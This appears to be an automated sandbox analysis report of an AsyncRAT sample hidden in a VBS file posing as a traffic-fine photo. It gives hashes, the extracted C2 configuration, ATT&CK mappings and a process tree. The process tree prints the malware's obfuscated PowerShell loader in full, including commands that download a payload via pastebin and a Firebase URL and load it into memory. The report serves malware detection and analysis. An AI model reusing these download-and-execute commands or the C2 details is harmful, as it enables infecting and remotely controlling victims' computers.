asyncrat | a3bc7c27473789a4dda4379a748286413ca2c99933dc71abdaf7f9c67649d854

General

Target

ACTA DE FOTO COMPARENDOS IMAGENES DETALLADAS RADICADO No 2024-99663326-9966566-9996589-JPG.vbs
Size

207KB
MD5

435df20a9b01d9e40b5c8bfcc0d854f3
SHA1

ae3f4580799db52473bd2dc41db7903819f3d8e1
SHA256

3a27d687ad30981166c9b94a4bb30eaf4cb57ceaa6276531c544c0073047a0ff
SHA512

613f815e2bcc7dbcc0c1dc591c9ba551678ec32d8bdeae58be17d5ac8cbc663760c65a171696df5ac26a74e4307ea87b10c006397d905e5ef69a8a8d2d75e907
SSDEEP

192:7///////////////////////////////////////////////////////////////:WHFzLPTnRStYhSXIBoFN

Score

10^/10

asyncrat 18 defense_evasion discovery execution rat

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

https://pastebin.com/raw/0FK5ax2D

Extracted

Family

asyncrat

Version

1.0.7

Botnet

18

C2

sanchezsanchez2024.duckdns.org:6666

Mutex

654KJGKGKHJGJFF5T44444888

Attributes

delay
1
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat

Blocklisted process makes network request 3 IoCs

flow	pid	Process
9	4552	powershell.exe
18	4600	powershell.exe
20	4552	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2604	powershell.exe
4552	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Control Panel\International\Geo\Nation	WScript.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
7	pastebin.com
9	pastebin.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4552 set thread context of 208	4552	powershell.exe	98

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AddInProcess32.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
1936	PING.EXE

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1936	PING.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2604	powershell.exe
2604	powershell.exe
4552	powershell.exe
4552	powershell.exe
4600	powershell.exe
4600	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	2604	powershell.exe
Token: SeDebugPrivilege	4552	powershell.exe
Token: SeDebugPrivilege	4600	powershell.exe
Token: SeDebugPrivilege	208	AddInProcess32.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 4588 wrote to memory of 2604	4588	WScript.exe	83
PID 4588 wrote to memory of 2604	4588	WScript.exe	83
PID 2604 wrote to memory of 4552	2604	powershell.exe	85
PID 2604 wrote to memory of 4552	2604	powershell.exe	85
PID 4552 wrote to memory of 3524	4552	powershell.exe	89
PID 4552 wrote to memory of 3524	4552	powershell.exe	89
PID 4552 wrote to memory of 1936	4552	powershell.exe	90
PID 4552 wrote to memory of 1936	4552	powershell.exe	90
PID 4552 wrote to memory of 4600	4552	powershell.exe	96
PID 4552 wrote to memory of 4600	4552	powershell.exe	96
PID 4552 wrote to memory of 208	4552	powershell.exe	98
PID 4552 wrote to memory of 208	4552	powershell.exe	98
PID 4552 wrote to memory of 208	4552	powershell.exe	98
PID 4552 wrote to memory of 208	4552	powershell.exe	98
PID 4552 wrote to memory of 208	4552	powershell.exe	98
PID 4552 wrote to memory of 208	4552	powershell.exe	98
PID 4552 wrote to memory of 208	4552	powershell.exe	98
PID 4552 wrote to memory of 208	4552	powershell.exe	98

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\ACTA DE FOTO COMPARENDOS IMAGENES DETALLADAS RADICADO No 2024-99663326-9966566-9996589-JPG.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4588
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $IuJUJJZz = 'WwBT★Hk★cwB0★GU★bQ★u★E4★ZQB0★C4★UwBl★HI★dgBp★GM★ZQBQ★G8★aQBu★HQ★TQBh★G4★YQBn★GU★cgBd★Do★OgBT★GU★YwB1★HI★aQB0★Hk★U★By★G8★d★Bv★GM★bwBs★C★★PQ★g★Fs★UwB5★HM★d★Bl★G0★LgBO★GU★d★★u★FM★ZQBj★HU★cgBp★HQ★eQBQ★HI★bwB0★G8★YwBv★Gw★V★B5★H★★ZQBd★Do★OgBU★Gw★cw★x★DI★Ow★k★EM★QwBS★Gg★bQ★g★D0★I★★n★Gg★d★B0★H★★cw★6★C8★LwBw★GE★cwB0★GU★YgBp★G4★LgBj★G8★bQ★v★HI★YQB3★C8★M★BG★Es★NQBh★Hg★MgBE★Cc★I★★7★CQ★Zg★g★D0★I★★o★Fs★UwB5★HM★d★Bl★G0★LgBJ★E8★LgBQ★GE★d★Bo★F0★Og★6★Ec★ZQB0★FQ★ZQBt★H★★U★Bh★HQ★a★★o★Ck★I★★r★C★★JwBk★Gw★b★★w★DE★LgB0★Hg★d★★n★Ck★I★★7★Ek★bgB2★G8★awBl★C0★VwBl★GI★UgBl★HE★dQBl★HM★d★★g★C0★VQBS★Ek★I★★k★EM★QwBS★Gg★bQ★g★C0★TwB1★HQ★RgBp★Gw★ZQ★g★CQ★Zg★g★C0★VQBz★GU★QgBh★HM★aQBj★F★★YQBy★HM★aQBu★Gc★I★★7★GM★bQBk★C4★ZQB4★GU★I★★v★GM★I★★7★H★★aQBu★Gc★I★★x★DI★Nw★u★D★★Lg★w★C4★MQ★g★Ds★c★Bv★Hc★ZQBy★HM★a★Bl★Gw★b★★u★GU★e★Bl★C★★LQBj★G8★bQBt★GE★bgBk★C★★ew★k★GY★I★★9★C★★K★Bb★FM★eQBz★HQ★ZQBt★C4★SQBP★C4★U★Bh★HQ★a★Bd★Do★OgBH★GU★d★BU★GU★bQBw★F★★YQB0★Gg★K★★p★C★★Kw★g★Cc★Z★Bs★Gw★M★★x★C4★d★B4★HQ★Jw★p★C★★Ow★k★FE★U★B0★GE★dg★g★D0★I★★o★C★★RwBl★HQ★LQBD★G8★bgB0★GU★bgB0★C★★LQBQ★GE★d★Bo★C★★J★Bm★C★★KQ★g★Ds★SQBu★HY★bwBr★GU★LQBX★GU★YgBS★GU★cQB1★GU★cwB0★C★★LQBV★FI★SQ★g★CQ★UQBQ★HQ★YQB2★C★★LQBP★HU★d★BG★Gk★b★Bl★C★★J★Bm★C★★LQBV★HM★ZQBC★GE★cwBp★GM★U★Bh★HI★cwBp★G4★ZwB9★C★★Ow★k★FE★U★B0★GE★dg★g★D0★I★★o★C★★RwBl★HQ★LQBD★G8★bgB0★GU★bgB0★C★★LQBQ★GE★d★Bo★C★★J★Bm★C★★KQ★g★Ds★J★B3★GQ★YQB5★HY★I★★9★C★★Jw★w★Cc★I★★7★CQ★Z★B2★Gg★b★B4★C★★PQ★g★Cc★JQBK★Gs★UQBh★HM★R★Bm★Gc★cgBU★Gc★JQ★n★C★★OwBb★EI★eQB0★GU★WwBd★F0★I★★k★Hk★d★Bx★GQ★c★★g★D0★I★Bb★HM★eQBz★HQ★ZQBt★C4★QwBv★G4★dgBl★HI★d★Bd★Do★OgBG★HI★bwBt★EI★YQBz★GU★Ng★0★FM★d★By★Gk★bgBn★Cg★I★★k★FE★U★B0★GE★dg★u★HI★ZQBw★Gw★YQBj★GU★K★★n★CQ★J★★n★Cw★JwBB★Cc★KQ★g★Ck★I★★7★Fs★UwB5★HM★d★Bl★G0★LgBB★H★★c★BE★G8★bQBh★Gk★bgBd★Do★OgBD★HU★cgBy★GU★bgB0★EQ★bwBt★GE★aQBu★C4★T★Bv★GE★Z★★o★CQ★eQB0★HE★Z★Bw★Ck★LgBH★GU★d★BU★Hk★c★Bl★Cg★JwBU★GU★a★B1★Gw★YwBo★GU★cwBY★Hg★W★B4★Hg★LgBD★Gw★YQBz★HM★MQ★n★Ck★LgBH★GU★d★BN★GU★d★Bo★G8★Z★★o★Cc★TQBz★HE★QgBJ★GI★WQ★n★Ck★LgBJ★G4★dgBv★Gs★ZQ★o★CQ★bgB1★Gw★b★★s★C★★WwBv★GI★agBl★GM★d★Bb★F0★XQ★g★Cg★JwBj★GQ★O★Bk★GM★OQ★z★Dk★Yg★w★Dc★Zg★t★GU★M★★x★Dk★LQ★w★DU★Mw★0★C0★YQ★w★Dc★MQ★t★Dc★N★★w★GU★O★Bl★GM★Nw★9★G4★ZQBr★G8★d★★m★GE★aQBk★GU★bQ★9★HQ★b★Bh★D8★d★B4★HQ★Lg★4★DE★O★★x★Dg★O★★4★DE★O★★x★EY★Mg★l★FM★QQBU★Ew★VQBN★D★★Mg★l★FM★RQBU★FI★TwBQ★FM★TgBB★FI★V★BT★E4★SQBN★D★★Mg★l★FQ★SQBN★Ek★Uw★v★G8★LwBt★G8★Yw★u★HQ★bwBw★HM★c★Bw★GE★LgBh★Dg★MQ★z★DE★LQBh★GE★cwBv★G8★bwBy★HI★cgBy★C8★Yg★v★D★★dg★v★G0★bwBj★C4★cwBp★H★★YQBl★Gw★ZwBv★G8★Zw★u★GU★ZwBh★HI★bwB0★HM★ZQBz★GE★YgBl★HI★aQBm★C8★Lw★6★HM★c★B0★HQ★a★★n★C★★L★★g★CQ★Z★B2★Gg★b★B4★C★★L★★g★Cc★XwBf★F8★XwBf★F8★XwBf★F8★XwBf★F8★XwBf★F8★XwBf★F8★XwBf★F8★XwBf★F8★XwBf★F8★XwBf★F8★XwBf★F8★XwBf★F8★XwBf★F8★XwBf★F8★XwBf★C0★LQ★t★C0★LQ★t★C0★Jw★s★C★★J★B3★GQ★YQB5★HY★L★★g★Cc★MQ★n★Cw★I★★n★FI★bwBk★GE★Jw★g★Ck★KQ★7★★==';$Yolopolhggobek = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $IuJUJJZz.replace('★','A') ) );$Yolopolhggobek = $Yolopolhggobek.replace('%JkQasDfgrTg%', 'C:\Users\Admin\AppData\Local\Temp\ACTA DE FOTO COMPARENDOS IMAGENES DETALLADAS RADICADO No 2024-99663326-9966566-9996589-JPG.vbs');powershell $Yolopolhggobek;
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2604
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$CCRhm = 'https://pastebin.com/raw/0FK5ax2D' ;$f = ([System.IO.Path]::GetTempPath() + 'dll01.txt') ;Invoke-WebRequest -URI $CCRhm -OutFile $f -UseBasicParsing ;cmd.exe /c ;ping 127.0.0.1 ;powershell.exe -command {$f = ([System.IO.Path]::GetTempPath() + 'dll01.txt') ;$QPtav = ( Get-Content -Path $f ) ;Invoke-WebRequest -URI $QPtav -OutFile $f -UseBasicParsing} ;$QPtav = ( Get-Content -Path $f ) ;$wdayv = '0' ;$dvhlx = 'C:\Users\Admin\AppData\Local\Temp\ACTA DE FOTO COMPARENDOS IMAGENES DETALLADAS RADICADO No 2024-99663326-9966566-9996589-JPG.vbs' ;[Byte[]] $ytqdp = [system.Convert]::FromBase64String( $QPtav.replace('$$','A') ) ;[System.AppDomain]::CurrentDomain.Load($ytqdp).GetType('TehulchesXxXxx.Class1').GetMethod('MsqBIbY').Invoke($null, [object[]] ('cd8dc939b07f-e019-0534-a071-740e8ec7=nekot&aidem=tla?txt.8181888181F2%SATLUM02%SETROPSNARTSNIM02%TIMIS/o/moc.topsppa.a8131-aasooorrrr/b/0v/moc.sipaelgoog.egarotsesaberif//:sptth' , $dvhlx , '____________________________________________-------', $wdayv, '1', 'Roda' ));"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4552
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c
      4⤵
      PID:3524
  - - C:\Windows\system32\PING.EXE
      "C:\Windows\system32\PING.EXE" 127.0.0.1
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:1936
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedCommand JABmACAAPQAgACgAWwBTAHkAcwB0AGUAbQAuAEkATwAuAFAAYQB0AGgAXQA6ADoARwBlAHQAVABlAG0AcABQAGEAdABoACgAKQAgACsAIAAnAGQAbABsADAAMQAuAHQAeAB0ACcAKQAgADsAJABRAFAAdABhAHYAIAA9ACAAKAAgAEcAZQB0AC0AQwBvAG4AdABlAG4AdAAgAC0AUABhAHQAaAAgACQAZgAgACkAIAA7AEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQBSAEkAIAAkAFEAUAB0AGEAdgAgAC0ATwB1AHQARgBpAGwAZQAgACQAZgAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcA -inputFormat xml -outputFormat text
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4600
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:208

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Obfuscated Files or Information

1

T1027

Command Obfuscation

1

T1027.010

Credential Access

Discovery

Query Registry

1

T1012

Remote System Discovery

1

T1018

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

System Network Configuration Discovery

1

T1016

Internet Connection Discovery

1

T1016.001

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
223bd4ae02766ddc32e6145fd1a29301

SHA1
900cfd6526d7e33fb4039a1cc2790ea049bc2c5b

SHA256
1022ec2fed08ff473817fc53893e192a8e33e6a16f3d2c8cb6fd37f49c938e1e

SHA512
648cd3f8a89a18128d2b1bf960835e087a74cdbc783dbfcc712b3cb9e3a2e4f715e534ba2ef81d89af8f60d4882f6859373248c875ceb26ad0922e891f2e74cc

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
95d7363029dd95d2b14b65d2d8b2192c

SHA1
70ae1135172f93dfbf8945f3536729d05b7b3a18

SHA256
59f2c86fb3c92d5f0656b969a7ef5b86ceff221b9a4bc8f4e0bbc88dee6e44f4

SHA512
cb79d6b037a98529480c2d7b242d78e9af35465a0cd06a85465774acf4699275a4624aeeb34c5d0983e6c75e98f9b409626969957bdb220835b8a01c573ad5c6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
367b1c81198bfdcdba813c2c336627a3

SHA1
37fe6414eafaaed4abb91c1aafde62c5b688b711

SHA256
1141e163d84d5ef0038593c866647f27c55510de2147dc1578130e518a22cced

SHA512
e0493957e6602efb156d372e5e66147056f6e3c2e01996ba9b4e04f82b2b1e4c7236d0e3681dce9ab4911a62546b6a141f1ae731de6e8184e758caf120cf594b

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_55isfx2y.24n.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

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C:\Users\Admin\AppData\Local\Temp\dll01.txt

Filesize
143B

MD5
ca3e9f3bbaab1d91f5669c577de22fa4

SHA1
70b81036cf4f04b1d576bb1919b9ed85451914c6

SHA256
3c4664ee97f3c7f228328e22d2cf88a7d492cfad95a5154eaeae889e45cd2137

SHA512
b22a10692fa31d9f678247c9bc52fcfe7c04b1335530567a930da3098fd667d36b513a3f88aed8c20d379672d8ca03038dd372d2e0f8fca9988f4f81cf7e857e

Download Submit
C:\Users\Admin\AppData\Local\Temp\dll01.txt

Filesize
103KB

MD5
70d9e1bb47536e58c110170bdaa06407

SHA1
615485617d9be2219e858e6896e728b4c32f4c77

SHA256
c9a42ec3ef13dea4be9c17dd82e43640b732d44971c1babdb887e4cb58ae1f2e

SHA512
5bca9a669d3b54666e445c44fb695206d86bacf3895583f5b4e630f438507539d4f6a161efbf224cb41c0bedce5e37718ff7e5d95203d3f7422c828c493b903f

Download Submit
memory/208-40-0x0000000000400000-0x0000000000416000-memory.dmp

Filesize
88KB

Download
memory/2604-11-0x00007FFDDEDD0000-0x00007FFDDF891000-memory.dmp

Filesize
10.8MB

Download
memory/2604-38-0x00007FFDDEDD3000-0x00007FFDDEDD5000-memory.dmp

Filesize
8KB

Download
memory/2604-12-0x00007FFDDEDD0000-0x00007FFDDF891000-memory.dmp

Filesize
10.8MB

Download
memory/2604-0-0x00007FFDDEDD3000-0x00007FFDDEDD5000-memory.dmp

Filesize
8KB

Download
memory/2604-1-0x000002142DC40000-0x000002142DC62000-memory.dmp

Filesize
136KB

Download
memory/2604-46-0x00007FFDDEDD0000-0x00007FFDDF891000-memory.dmp

Filesize
10.8MB

Download
memory/4552-39-0x000001EF460F0000-0x000001EF46106000-memory.dmp

Filesize
88KB

Download
memory/4552-37-0x000001EF455B0000-0x000001EF455C6000-memory.dmp

Filesize
88KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads